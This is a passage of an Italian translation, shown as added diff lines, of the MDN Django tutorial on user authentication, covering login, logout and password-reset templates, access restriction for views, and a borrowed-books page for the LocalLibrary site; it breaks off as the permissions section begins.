+ <li>Fare clic sul pulsante Aggiungi (accanto a Gruppo) per creare un nuovo gruppo; inserire il nome "Membri libreria" per il gruppo.<img alt="Admin site - add group" src="https://mdn.mozillademos.org/files/14093/admin_authentication_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 561px; margin: 0px auto; width: 800px;"></li>
+ <li>Non abbiamo bisogno di permessi per il gruppo, quindi basta premere SALVA (verrai indirizzato a un elenco di gruppi).</li>
+</ol>
+
+<p>Ora creiamo un utente:</p>
+
+<ol>
+ <li>Torna alla home page del sito admin.</li>
+ <li>Fai clic sul pulsante Aggiungi accanto a Utenti per aprire la finestra di dialogo Aggiungi utente.<img alt="Admin site - add user pt1" src="https://mdn.mozillademos.org/files/14095/admin_authentication_add_user_prt1.png" style="border-style: solid; border-width: 1px; display: block; height: 409px; margin: 0px auto; width: 800px;"></li>
+ <li>Immettere un nome utente e una password / conferma appropriati per l'utente del test</li>
+ <li>Premi <strong>SALVA</strong>.<br>
+  <br>
+  Il sito di amministrazione creerà il nuovo utente e ti condurrà immediatamente a una schermata Cambia utente in cui è possibile modificare il nome utente e aggiungere informazioni per i campi facoltativi del modello Utente. Questi campi includono il nome, il cognome, l'indirizzo e-mail e lo stato e le autorizzazioni dell'utente (deve essere impostato solo il flag Attivo). Più in basso è possibile specificare i gruppi e le autorizzazioni dell'utente e visualizzare date importanti relative all'utente (ad esempio la data di iscrizione e l'ultima data di accesso).<img alt="Admin site - add user pt2" src="https://mdn.mozillademos.org/files/14097/admin_authentication_add_user_prt2.png" style="border-style: solid; border-width: 1px; display: block; height: 635px; margin: 0px auto; width: 800px;"></li>
+ <li>Nella sezione Gruppi, seleziona Gruppo di membri della biblioteca dall'elenco di Gruppi disponibili, quindi premi la freccia destra tra le caselle per spostarlo nella casella Gruppi scelti.<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li>
+ <li>Non abbiamo bisogno di fare altro qui, quindi seleziona di nuovo SALVA, per andare alla lista degli utenti.</li>
+</ol>
+
+<p>Questo è tutto! Ora hai un account "membro della libreria normale" che potrai utilizzare per il test (una volta implementate le pagine per consentire loro di accedere).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Dovresti provare a creare un altro utente membro della libreria. Inoltre, crea un gruppo per i bibliotecari e aggiungi un utente anche a quello!</p>
+</div>
+
+<h2 id="Impostazione_delle_viste_di_autenticazione">Impostazione delle viste di autenticazione</h2>
+
+<p>Django fornisce quasi tutto ciò che è necessario per creare pagine di autenticazione per gestire login, logout e gestione delle password "out of the box". Ciò include un mappatore di URL, viste e forms, ma non include i template - dobbiamo creare il nostro! In questa sezione, mostreremo come integrare il sistema predefinito nel sito Web di LocalLibrary e creare i modelli. Li inseriremo negli URL principali del progetto.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Non è necessario utilizzare alcun codice, ma è probabile che lo si desideri perché rende le cose molto più semplici. Dovrai quasi certamente cambiare il codice di gestione del modulo se cambi il tuo modello utente (un argomento avanzato!), Ma anche così, sarai comunque in grado di utilizzare le funzioni di visualizzazione in stock.</p>
+</div>
+
+<div class="note">
+<p><strong>Note: </strong>In questo caso, potremmo inserire ragionevolmente le pagine di autenticazione, inclusi gli URL e i modelli, all'interno della nostra applicazione di catalogo. Tuttavia, se avessimo più applicazioni sarebbe meglio separare questo comportamento di accesso condiviso e renderlo disponibile su tutto il sito, è quello che faremo qui!</p>
+</div>
+
+<h3 id="URL_del_progetto">URL del progetto</h3>
+
+<p>Aggiungi quanto segue alla fine del file urls.py del progetto (locallibrary / locallibrary / urls.py):</p>
+
+<pre class="brush: python">#Add Django site authentication urls (for login, logout, password management)
+urlpatterns += [
+    path('accounts/', include('django.contrib.auth.urls')),
+]
+</pre>
+
+<p>Vai a http://127.0.0.1:8000/accounts/ (nota la barra finale in avanti!) E Django mostrerà un errore dicendo che non è stato in grado di trovare questo URL e elenca tutti gli URL che ha provato. Da questo puoi vedere gli URL che funzioneranno, ad esempio:</p>
+
+<div class="note">
+<p><strong>Note: </strong>Usando il metodo precedente si aggiungono i seguenti URL con i nomi tra parentesi quadre, che possono essere utilizzati per invertire i mapping degli URL. Non è necessario implementare nient'altro: la mappatura degli URL di cui sopra esegue automaticamente la mappatura degli URL sottostanti.</p>
+
+<pre class="brush: python">accounts/ login/ [name='login']
+accounts/ logout/ [name='logout']
+accounts/ password_change/ [name='password_change']
+accounts/ password_change/done/ [name='password_change_done']
+accounts/ password_reset/ [name='password_reset']
+accounts/ password_reset/done/ [name='password_reset_done']
+accounts/ reset/&lt;uidb64&gt;/&lt;token&gt;/ [name='password_reset_confirm']
+accounts/ reset/done/ [name='password_reset_complete']</pre>
+</div>
+
+<p>Ora prova a navigare verso l'URL di accesso (http://127.0.0.1:8000/accounts/login/). Ciò fallirà di nuovo, ma con un errore che ti dice che ci manca il modello richiesto (registration / login.html) sul percorso di ricerca del modello. Vedrai le seguenti righe elencate nella sezione gialla in alto:</p>
+
+<pre class="brush: python">Exception Type:    TemplateDoesNotExist
+Exception Value:    <strong>registration/login.html</strong></pre>
+
+<p>Il passo successivo è creare una directory di registrazione sul percorso di ricerca e quindi aggiungere il file login.html.</p>
+
+<h3 id="Directory_template">Directory template</h3>
+
+<p>Gli URL (e le viste implicite) che abbiamo appena aggiunto si aspettano di trovare i loro template associati in una directory /<strong>registration</strong>/ da qualche parte nel percorso di ricerca dei template. Per questo sito, inseriremo le nostre pagine HTML nella cartella <strong>templates / registration /</strong>. Questa directory dovrebbe essere nella directory principale del progetto, cioè nella stessa directory delle cartelle del <strong>catalogo </strong>e della <strong>localibrary</strong>). Si prega di creare queste cartelle ora.</p>
+
+<div class="note">
+<p><strong>Note:</strong> La struttura delle cartelle dovrebbe essere:<br>
+ locallibrary (Django project folder)<br>
+    |_catalog<br>
+    |_locallibrary<br>
+    |_templates <strong>(new)</strong><br>
+                 |_registration</p>
+</div>
+
+<p>Per rendere queste directory visibili al caricatore di template (ovvero per inserire questa directory nel percorso di ricerca del modello), aprire le impostazioni del progetto (/locallibrary/locallibrary/settings.py) e aggiornare la riga 'DIRS' della sezione TEMPLATES come mostrato.</p>
+
+<pre class="brush: python">TEMPLATES = [
+    {
+        ...
+<strong>        'DIRS': [os.path.join(BASE_DIR, 'templates')],</strong>
+        'APP_DIRS': True,
+        ...
+</pre>
+
+<h3 id="Login_template">Login template</h3>
+
+<div class="warning">
+<p><strong>Importante</strong>: I modelli di autenticazione forniti in questo articolo sono una versione molto semplice / leggermente modificata dei modelli di login dimostrativi di Django. Potrebbe essere necessario personalizzarli per uso personale!</p>
+</div>
+
+<p>Crea un nuovo file HTML chiamato /locallibrary/templates/registration/login.html e dagli il seguente contenuto:</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+
+{% if form.errors %}
+  &lt;p&gt;Your username and password didn't match. Please try again.&lt;/p&gt;
+{% endif %}
+
+{% if next %}
+  {% if user.is_authenticated %}
+    &lt;p&gt;Your account doesn't have access to this page. To proceed,
+    please login with an account that has access.&lt;/p&gt;
+  {% else %}
+    &lt;p&gt;Please login to see this page.&lt;/p&gt;
+  {% endif %}
+{% endif %}
+
+&lt;form method="post" action="{% url 'login' %}"&gt;
+{% csrf_token %}
+&lt;table&gt;
+
+&lt;tr&gt;
+  &lt;td&gt;\{{ form.username.label_tag }}&lt;/td&gt;
+  &lt;td&gt;\{{ form.username }}&lt;/td&gt;
+&lt;/tr&gt;
+
+&lt;tr&gt;
+  &lt;td&gt;\{{ form.password.label_tag }}&lt;/td&gt;
+  &lt;td&gt;\{{ form.password }}&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;input type="submit" value="login" /&gt;
+&lt;input type="hidden" name="next" value="\{{ next }}" /&gt;
+&lt;/form&gt;
+
+{# Assumes you setup the password_reset view in your URLconf #}
+&lt;p&gt;&lt;a href="{% url 'password_reset' %}"&gt;Lost password?&lt;/a&gt;&lt;/p&gt;
+
+{% endblock %}</pre>
+
+<p id="sect1">Questo modello condivide alcune somiglianze con quelli che abbiamo visto prima: estende il nostro template di base e sovrascrive il blocco del contenuto. Il resto del codice è un codice di gestione della forma abbastanza standard, di cui parleremo in un successivo tutorial. Tutto quello che devi sapere per ora è che questo mostrerà un modulo in cui puoi inserire il tuo nome utente e password, e che se inserisci valori non validi ti verrà chiesto di inserire valori corretti quando la pagina si aggiorna.</p>
+
+<p>Naviga indietro alla login page (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>) una volta salvato il modello, dovresti vedere qualcosa del genere:</p>
+
+<p><img alt="Library login page v1" src="https://mdn.mozillademos.org/files/14101/library_login.png" style="border-style: solid; border-width: 1px; display: block; height: 173px; margin: 0px auto; width: 441px;"></p>
+
+<p>Se si tenta di accedere con esito positivo l'utente verrà reindirizzato a un'altra pagina (per impostazione predefinita sarà questa <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>). Il problema qui è che, per impostazione predefinita, Django si aspetta che dopo l'accesso si desideri essere indirizzati a una pagina del profilo, che può essere o non essere il caso. Poiché non hai ancora definito questa pagina, riceverai un altro errore!</p>
+
+<p>Apri le impostazioni del progetto (/locallibrary/locallibrary/settings.py) e aggiungi il testo in basso alla fine. Ora quando accedi devi essere reindirizzato alla homepage del sito per impostazione predefinita.</p>
+
+<pre class="brush: python"># Redirect to home URL after login (Default redirects to /accounts/profile/)
+LOGIN_REDIRECT_URL = '/'
+</pre>
+
+<h3 id="Logout_template">Logout template</h3>
+
+<p>Se navighi verso l'URL di disconnessione (http://127.0.0.1:8000/accounts/logout/), vedrai qualche comportamento strano: l'utente verrà disconnesso, ma sarai indirizzato pagina di logout dell'Amministratore. Non è quello che vuoi, se non altro perché il link di accesso su quella pagina ti porta alla schermata di accesso dell'amministratore (e questo è disponibile solo per gli utenti che hanno il permesso is_staff).</p>
+
+<p>Crea e apri /locallibrary/templates/registration/logged_out.html. Copia il testo qui sotto:</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;p&gt;Logged out!&lt;/p&gt;
+  &lt;a href="{% url 'login'%}"&gt;Click here to login again.&lt;/a&gt;
+{% endblock %}</pre>
+
+<p>Questo modello è molto semplice. Visualizza semplicemente un messaggio che informa che sei stato disconnesso e fornisce un collegamento che puoi premere per tornare alla schermata di accesso. Se vai di nuovo all'URL di logout dovresti vedere questa pagina:</p>
+
+<p><img alt="Library logout page v1" src="https://mdn.mozillademos.org/files/14103/library_logout.png" style="border-style: solid; border-width: 1px; display: block; height: 169px; margin: 0px auto; width: 385px;"></p>
+
+<h3 id="Password_reset_templates">Password reset templates</h3>
+
+<p>Il sistema di reimpostazione della password predefinito utilizza la posta elettronica per inviare all'utente un link di ripristino. È necessario creare moduli per ottenere l'indirizzo e-mail dell'utente, inviare l'e-mail, consentire loro di immettere una nuova password e prendere nota del completamento dell'intero processo.</p>
+
+<p>I seguenti modelli possono essere utilizzati come punto di partenza.</p>
+
+<h4 id="Password_reset_form">Password reset form</h4>
+
+<p>Questo è il modulo utilizzato per ottenere l'indirizzo e-mail dell'utente (per inviare l'e-mail di reimpostazione della password). Crea /locallibrary/templates/registration/password_reset_form.html e dagli il seguente contenuto:</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;form action="" method="post"&gt;
+  {% csrf_token %}
+  {% if form.email.errors %}
+    \{{ form.email.errors }}
+  {% endif %}
+      &lt;p&gt;\{{ form.email }}&lt;/p&gt;
+    &lt;input type="submit" class="btn btn-default btn-lg" value="Reset password"&gt;
+  &lt;/form&gt;
+{% endblock %}
+</pre>
+
+<h4 id="Password_reset_eseguito">Password reset eseguito</h4>
+
+<p>Questo modulo viene visualizzato dopo che il tuo indirizzo email è stato raccolto. Crea /locallibrary/templates/registration/password_reset_done.html e dagli il seguente contenuto:</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;p&gt;We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.&lt;/p&gt;
+{% endblock %}
+</pre>
+
+<h4 id="Password_reset_email">Password reset email</h4>
+
+<p>Questo modello fornisce il testo dell'email HTML contenente il link di ripristino che invieremo agli utenti. Crea /locallibrary/templates/registration/password_reset_email.html e dagli il seguente contenuto:</p>
+
+<pre class="brush: html">Someone asked for password reset for email \{{ email }}. Follow the link below:
+\{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %}
+</pre>
+
+<h4 id="Password_reset_confirm">Password reset confirm</h4>
+
+<p>Questo modello fornisce il testo dell'email HTML contenente il link di ripristino che invieremo agli utenti. Crea /locallibrary/templates/registration/password_reset_email.html e dagli il seguente contenuto:</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+    {% if validlink %}
+        &lt;p&gt;Please enter (and confirm) your new password.&lt;/p&gt;
+        &lt;form action="" method="post"&gt;
+        {% csrf_token %}
+            &lt;table&gt;
+                &lt;tr&gt;
+                    &lt;td&gt;\{{ form.new_password1.errors }}
+                        &lt;label for="id_new_password1"&gt;New password:&lt;/label&gt;&lt;/td&gt;
+                    &lt;td&gt;\{{ form.new_password1 }}&lt;/td&gt;
+                &lt;/tr&gt;
+                &lt;tr&gt;
+                    &lt;td&gt;\{{ form.new_password2.errors }}
+                        &lt;label for="id_new_password2"&gt;Confirm password:&lt;/label&gt;&lt;/td&gt;
+                    &lt;td&gt;\{{ form.new_password2 }}&lt;/td&gt;
+                &lt;/tr&gt;
+                &lt;tr&gt;
+                    &lt;td&gt;&lt;/td&gt;
+                    &lt;td&gt;&lt;input type="submit" value="Change my password" /&gt;&lt;/td&gt;
+                &lt;/tr&gt;
+            &lt;/table&gt;
+        &lt;/form&gt;
+    {% else %}
+        &lt;h1&gt;Password reset failed&lt;/h1&gt;
+        &lt;p&gt;The password reset link was invalid, possibly because it has already been used. Please request a new password reset.&lt;/p&gt;
+    {% endif %}
+{% endblock %}
+</pre>
+
+<h4 id="Password_reset_completato">Password reset completato</h4>
+
+<p>Questo è l'ultimo modello di reimpostazione della password, che viene visualizzato per avvisarti quando la reimpostazione della password è riuscita. Crea /locallibrary/templates/registration/password_reset_complete.html e dagli il seguente contenuto:</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;The password has been changed!&lt;/h1&gt;
+  &lt;p&gt;&lt;a href="{% url 'login' %}"&gt;log in again?&lt;/a&gt;&lt;/p&gt;
+{% endblock %}</pre>
+
+<h3 id="Testare_la_nuova_pagina_di_autenticazione">Testare la nuova pagina di autenticazione</h3>
+
+<p>Ora che hai aggiunto la configurazione dell'URL e creato tutti questi modelli, le pagine di autenticazione ora dovrebbero funzionare!</p>
+
+<p>Puoi testare le nuove pagine di autenticazione usando questi URL:</p>
+
+<ul>
+ <li><a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a></li>
+ <li><a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a></li>
+</ul>
+
+<p>Sarai in grado di testare la funzionalità di reimpostazione della password dal link nella pagina di accesso. Tieni presente che Django invierà solo e-mail di ripristino a indirizzi (utenti) già memorizzati nel suo database!</p>
+
+<div class="note">
+<p><strong>Note</strong>: Il sistema di reimpostazione della password richiede che il tuo sito Web supporti la posta elettronica, che va oltre lo scopo di questo articolo, quindi questa parte non funzionerà ancora. Per consentire il test, inserisci la seguente riga alla fine del tuo file settings.py. Questo registra tutte le e-mail inviate alla console (in questo modo è possibile copiare il link per la reimpostazione della password dalla console).</p>
+
+<pre class="brush: python">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
+</pre>
+
+<p>Vedi <a href="https://docs.djangoproject.com/en/2.1/topics/email/">Servizi email</a> (Django docs).</p>
+</div>
+
+<h2 id="Test_verso_utenti_autenticati">Test verso utenti autenticati</h2>
+
+<p>Questa sezione esamina cosa possiamo fare per controllare selettivamente il contenuto che l'utente vede in base al fatto che sia connesso o meno.</p>
+
+<h3 id="Testing_nei_templates">Testing nei templates</h3>
+
+<p>Puoi ottenere informazioni sull'utente attualmente connesso nei modelli con la variabile di modello <code>\{{user}}</code> (questo viene aggiunto al contesto del modello per impostazione predefinita quando imposti il progetto come abbiamo fatto nel nostro scheletro).</p>
+
+<p>In genere testerai innanzitutto la variabile di modello <code>\{{user.is_authenticated}}</code> per determinare se l'utente è idoneo a vedere contenuti specifici. Per dimostrarlo, aggiorneremo la nostra barra laterale per visualizzare un collegamento "Accedi" se l'utente è disconnesso e un collegamento "Disconnetti" se sono connessi.</p>
+
+<p>Apri il template (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) e copia il seguente testo nel blocco della barra laterale, immediatamente prima del tag <code>endblock</code>.</p>
+
+<pre class="brush: html">  &lt;ul class="sidebar-nav"&gt;
+
+    ...
+
+   <strong>{% if user.is_authenticated %}</strong>
+     &lt;li&gt;User: <strong>\{{ user.get_username }}</strong>&lt;/li&gt;
+     &lt;li&gt;&lt;a href="{% url 'logout'%}?next=\{{request.path}}"&gt;Logout&lt;/a&gt;&lt;/li&gt;
+   <strong>{% else %}</strong>
+     &lt;li&gt;&lt;a href="{% url 'login'%}?next=\{{request.path}}"&gt;Login&lt;/a&gt;&lt;/li&gt;
+   <strong>{% endif %} </strong>
+  &lt;/ul&gt;</pre>
+
+<p>Come puoi vedere, utilizziamo i tag if-else-endif per visualizzare in modo condizionale il testo in base al fatto che \{{user.is_authenticated}} sia vero. Se l'utente è autenticato, sappiamo che abbiamo un utente valido, quindi chiamiamo \{{user.get_username}} per visualizzare il loro nome.</p>
+
+<p>Creiamo gli URL di collegamento di accesso e di disconnessione utilizzando il tag <code>URL</code> e i nomi delle rispettive configurazioni di URL. Nota anche come abbiamo aggiunto <code>?next=\{{request.path}}</code>. Ciò che fa è aggiungere un parametro URL <font face="Consolas, Liberation Mono, Courier, monospace">next</font> contenente l'indirizzo (URL) della pagina corrente, alla fine dell'URL collegato. Dopo che l'utente ha effettuato correttamente l'accesso / uscita, le viste useranno questo valore "<code>next</code>" per reindirizzare l'utente alla pagina in cui hanno prima fatto clic sul collegamento login / logout.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Provalo! Se ti trovi nella home page e fai clic su Accedi / Esci nella barra laterale, dopo il completamento dell'operazione dovresti tornare alla stessa pagina.</p>
+</div>
+
+<h3 id="Testing_nelle_views">Testing nelle views</h3>
+
+<p>Se si utilizzano le viste basate sulle funzioni, il modo più semplice per limitare l'accesso alle funzioni è applicare il decoratore login_required alla funzione di visualizzazione, come mostrato di seguito. Se l'utente ha effettuato l'accesso, il codice di visualizzazione verrà eseguito normalmente. Se l'utente non ha effettuato l'accesso, verrà reindirizzato all'URL di accesso definito nelle impostazioni del progetto (settings.LOGIN_URL), passando il percorso assoluto corrente come parametro successivo. Se l'utente riesce ad accedere, verrà riportato a questa pagina, ma questa volta autenticato.</p>
+
+<pre class="brush: python">from django.contrib.auth.decorators import login_required
+
+@login_required
+def my_view(request):
+    ...</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Puoi fare lo stesso genere di cose manualmente testando su request.user.is_authenticated, ma il decoratore è molto più conveniente!</p>
+</div>
+
+<p>Analogamente, il modo più semplice per limitare l'accesso agli utenti che hanno eseguito l'accesso nelle viste basate su classi è derivare da LoginRequiredMixin. Devi dichiarare questo mixin nella prima lista della superclasse, prima della classe della vista principale.</p>
+
+<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin
+
+class MyView(LoginRequiredMixin, View):
+    ...</pre>
+
+<p>È inoltre possibile specificare un percorso alternativo per reindirizzare l'utente se non sono autenticati (login_url) e un nome parametro URL invece di "next" per inserire il percorso assoluto corrente (redirect_field_name).</p>
+
+<pre class="brush: python">class MyView(LoginRequiredMixin, View):
+    login_url = '/login/'
+    redirect_field_name = 'redirect_to'
+</pre>
+
+<p>Per informazioni ulteriori, consultare <a href="https://docs.djangoproject.com/en/2.1/topics/auth/default/#limiting-access-to-logged-in-users">Django docs here</a>.</p>
+
+<h2 id="Esempio_—_Elencare_i_libri_correnti_dello_user">Esempio — Elencare i libri correnti dello user</h2>
+
+<p>Ora che sappiamo come limitare una pagina a un particolare utente, creiamo una vista dei libri che l'utente corrente ha preso in prestito.</p>
+
+<p>Sfortunatamente, non abbiamo ancora modo per gli utenti di prendere in prestito libri! Quindi, prima di poter creare l'elenco dei libri, estenderemo innanzitutto il modello <code>BookInstance </code>per supportare il concetto di prestito e utilizzare l'applicazione Django Admin per prestare diversi libri al nostro utente di test.</p>
+
+<h3 id="Models">Models</h3>
+
+<p>Innanzitutto, dovremo rendere possibile agli utenti un prestito di BookInstance (abbiamo già uno stato e una data di scadenza, ma non abbiamo ancora alcuna associazione tra questo modello e un utente. creane uno usando un campo ForeignKey (uno-a-molti). Abbiamo anche bisogno di un meccanismo semplice per verificare se un libro in prestito è in ritardo.</p>
+
+<p>Apri <strong>catalog/models.py</strong>, ed importa il modello <code>User</code> model da <code>django.contrib.auth.models:</code></p>
+
+<pre class="brush: python">from django.contrib.auth.models import User
+</pre>
+
+<p>Successivamente, aggiungi il campo del mutuatario al modello BookInstance:</p>
+
+<pre class="brush: python">borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True)
+</pre>
+
+<p>Mentre siamo qui, aggiungiamo una <a href="https://docs.python.org/3/library/functions.html#property">property</a> che possiamo chiamare dai nostri modelli per capire se una determinata istanza di un libro è in ritardo. Mentre potremmo calcolare questo nel modello stesso, usare una proprietà come mostrato di seguito sarà molto più efficiente.</p>
+
+<p>Aggiungi questo da qualche parte vicino alla parte superiore del file:</p>
+
+<pre class="brush: python">from datetime import date</pre>
+
+<p class="brush: python">Ora aggiungi la seguente definizione di proprietà alla classe BookInstance:</p>
+
+<pre class="brush: python">@property
+def is_overdue(self):
+    if self.due_back and date.today() &gt; self.due_back:
+        return True
+    return False</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Verifichiamo se due_back è vuoto prima di fare un confronto. Un campo vuoto forza Django a lanciare un errore invece di mostrare la pagina: i valori vuoti non sono confrontabili. Questo non è qualcosa che vorremmo far provare ai nostri utenti!</p>
+</div>
+
+<p>Ora che abbiamo aggiornato i nostri modelli, dovremo effettuare nuove migrazioni sul progetto e quindi applicare tali migrazioni:</p>
+
+<pre class="brush: bash">python3 manage.py makemigrations
+python3 manage.py migrate
+</pre>
+
+<h3 id="Admin">Admin</h3>
+
+<p>Ora apri il <code>catalogo/admin.py</code> e aggiungi il campo del mutuatario alla classe <code>BookInstanceAdmin </code>sia in <code>list_display </code>che in <code>fielsets</code>, come mostrato di seguito. Questo renderà il campo visibile nella sezione Amministrazione, permettendoci di assegnare un <code>Utente</code> a una <code>BookInstance</code> quando necessario.</p>
+
+<pre class="brush: python">@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    list_display = ('book', 'status'<strong>, 'borrower'</strong>, 'due_back', 'id')
+    list_filter = ('status', 'due_back')
+
+    fieldsets = (
+        (None, {
+            'fields': ('book','imprint', 'id')
+        }),
+        ('Availability', {
+            'fields': ('status', 'due_back'<strong>,'borrower'</strong>)
+        }),
+    )</pre>
+
+<h3 id="Prestiamo_qualche_libro">Prestiamo qualche libro</h3>
+
+<p>Ora che è possibile noleggiare libri a un utente specifico, vai a prestare un certo numero di record su BookInstance. Imposta il campo preso in prestito all'utente di test, imposta lo stato "In prestito" e imposta le scadenze sia nel futuro che nel passato.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Non spiegheremo nuovamente il processo, poiché sai già come utilizzare il sito di amministrazione!</p>
+</div>
+
+<h3 id="View_dei_prestiti">View dei prestiti</h3>
+
+<p>Ora aggiungeremo una vista per ottenere l'elenco di tutti i libri che sono stati prestati all'utente corrente. Useremo la stessa visualizzazione di elenco generica basata sulla classe che conosciamo, ma questa volta importeremo e deriverà da LoginRequiredMixin, in modo che solo un utente che ha effettuato l'accesso possa chiamare questa vista. Scegliamo anche di dichiarare un template_name, piuttosto che usare l'impostazione predefinita, perché potremmo finire per avere alcuni elenchi diversi di record di BookInstance, con visualizzazioni e modelli diversi.</p>
+
+<p>Aggiungi quanto segue al catalog/views.py:</p>
+
+<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin
+
+class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
+    """Generic class-based view listing books on loan to current user."""
+    model = BookInstance
+    template_name ='catalog/bookinstance_list_borrowed_user.html'
+    paginate_by = 10
+
+    def get_queryset(self):
+        return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre>
+
+<p>Per limitare la nostra query solo agli oggetti BookInstance per l'utente corrente, re-implementiamo get_queryset () come mostrato sopra. Si noti che "o" è il codice memorizzato per "in prestito" e ordiniamo per data di restituzione, in modo che gli elementi più vecchi vengano visualizzati per primi.</p>
+
+<h3 id="Conf._URL_per_libri_in_prestito">Conf. URL per libri in prestito</h3>
+
+<p>Ora apri /catalog/urls.py e aggiungi un <code>path()</code> che punta alla vista precedente (puoi semplicemente copiare il testo qui sotto alla fine del file).</p>
+
+<pre class="brush: python">urlpatterns += [
+    path('mybooks/', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'),
+]</pre>
+
+<h3 id="Template_per_i_libri_in_prestito">Template per i libri in prestito</h3>
+
+<p>Ora, tutto ciò che dobbiamo fare per questa pagina è aggiungere un template. Per prima cosa, crea il file template <code>/catalog/templates/catalog/bookinstance_list_borrowed_user.html</code> e dagli il seguente contenuto:</p>
+
+<pre class="brush: python">{% extends "base_generic.html" %}
+
+{% block content %}
+    &lt;h1&gt;Borrowed books&lt;/h1&gt;
+
+    {% if bookinstance_list %}
+    &lt;ul&gt;
+
+      {% for bookinst in bookinstance_list %}
+      &lt;li class="{% if bookinst.is_overdue %}text-danger{% endif %}"&gt;
+        &lt;a href="{% url 'book-detail' bookinst.book.pk %}"&gt;\{{bookinst.book.title}}&lt;/a&gt; (\{{ bookinst.due_back }})
+      &lt;/li&gt;
+      {% endfor %}
+    &lt;/ul&gt;
+
+    {% else %}
+      &lt;p&gt;There are no books borrowed.&lt;/p&gt;
+    {% endif %}
+{% endblock %}</pre>
+
+<p>Questo modello è molto simile a quelli che abbiamo creato precedentemente per gli oggetti Libro e Autore. L'unica cosa "nuova" qui è che controlliamo il metodo che abbiamo aggiunto nel modello (bookinst.is_overdue) e lo usiamo per cambiare il colore degli elementi scaduti.</p>
+
+<p>Quando il server di sviluppo è in esecuzione, dovresti essere in grado di visualizzare l'elenco per un utente che ha effettuato l'accesso nel tuo browser all'indirizzo http://127.0.0.1:8000/catalog/mybooks/. Provalo con il tuo utente loggato e disconnesso (nel secondo caso, dovresti essere reindirizzato alla pagina di login).</p>
+
+<h3 id="Aggiungi_l'elenco_alla_barra_laterale">Aggiungi l'elenco alla barra laterale</h3>
+
+<p>L'ultimo passo è aggiungere un link per questa nuova pagina nella barra laterale. Inseriremo questo nella stessa sezione in cui vengono visualizzate altre informazioni per l'utente che ha effettuato l'accesso. Aprire il modello di base (/locallibrary/catalog/templates/base_generic.html) e aggiungere la linea in grassetto alla barra laterale come mostrato.</p>
+
+<pre class="brush: python"> &lt;ul class="sidebar-nav"&gt;
+   {% if user.is_authenticated %}
+   &lt;li&gt;User: \{{ user.get_username }}&lt;/li&gt;
+<strong>   &lt;li&gt;&lt;a href="{% url 'my-borrowed' %}"&gt;My Borrowed&lt;/a&gt;&lt;/li&gt;</strong>
+   &lt;li&gt;&lt;a href="{% url 'logout'%}?next=\{{request.path}}"&gt;Logout&lt;/a&gt;&lt;/li&gt;
+   {% else %}
+   &lt;li&gt;&lt;a href="{% url 'login'%}?next=\{{request.path}}"&gt;Login&lt;/a&gt;&lt;/li&gt;
+   {% endif %}
+ &lt;/ul&gt;
+</pre>
+
+<h3 id="Che_cosa_vedo">Che cosa vedo?</h3>
+
+<p>Quando un utente ha effettuato l'accesso, vedrà il link I miei prestiti nella barra laterale e l'elenco dei libri visualizzati come segue (il primo libro non ha una data di scadenza, che è un bug che speriamo di risolvere in un tutorial successivo!).</p>
+
+<p><img alt="Library - borrowed books by user" src="https://mdn.mozillademos.org/files/14105/library_borrowed_by_user.png" style="border-style: solid; border-width: 1px; display: block; height: 215px; margin: 0px auto; width: 530px;"></p>
+
+<h2 id="Permessi">Permessi</h2>
+
+<p>Le autorizzazioni sono associate ai modelli e definiscono le operazioni che possono essere eseguite su un'istanza del modello da un utente che dispone dell'autorizzazione. Per impostazione predefinita, Django aggiunge automaticamente autorizzazioni di aggiunta, modifica ed eliminazione a tutti i modelli, che consentono agli utenti con le autorizzazioni di eseguire le azioni associate tramite il sito di amministrazione. È possibile definire le proprie autorizzazioni per i modelli e concederle ad utenti specifici. È inoltre possibile modificare le autorizzazioni associate a diverse istanze dello stesso modello.</p>
+
+<p>I test sulle autorizzazioni nelle viste e nei modelli sono quindi molto simili per il test sullo stato di autenticazione (e infatti, il test per un'autorizzazione verifica anche l'autenticazione).</p>
+
+<h3 id="Models_2">Models</h3>
+
+<p>Dfeinire permessi è un'azione svolta tramite la sezione "<code>class Meta</code>", utilizzando il campo <code>permissions</code>. È possibile specificare tutte le autorizzazioni necessarie in una tupla, ogni autorizzazione viene definita in una tupla nidificata contenente il nome di autorizzazione e il valore di visualizzazione delle autorizzazioni. Ad esempio, potremmo definire un'autorizzazione per consentire a un utente di contrassegnare che un libro è stato restituito come mostrato:</p>
+
+<pre class="brush: python">class BookInstance(models.Model):
+    ...
+    class Meta:
+        ...
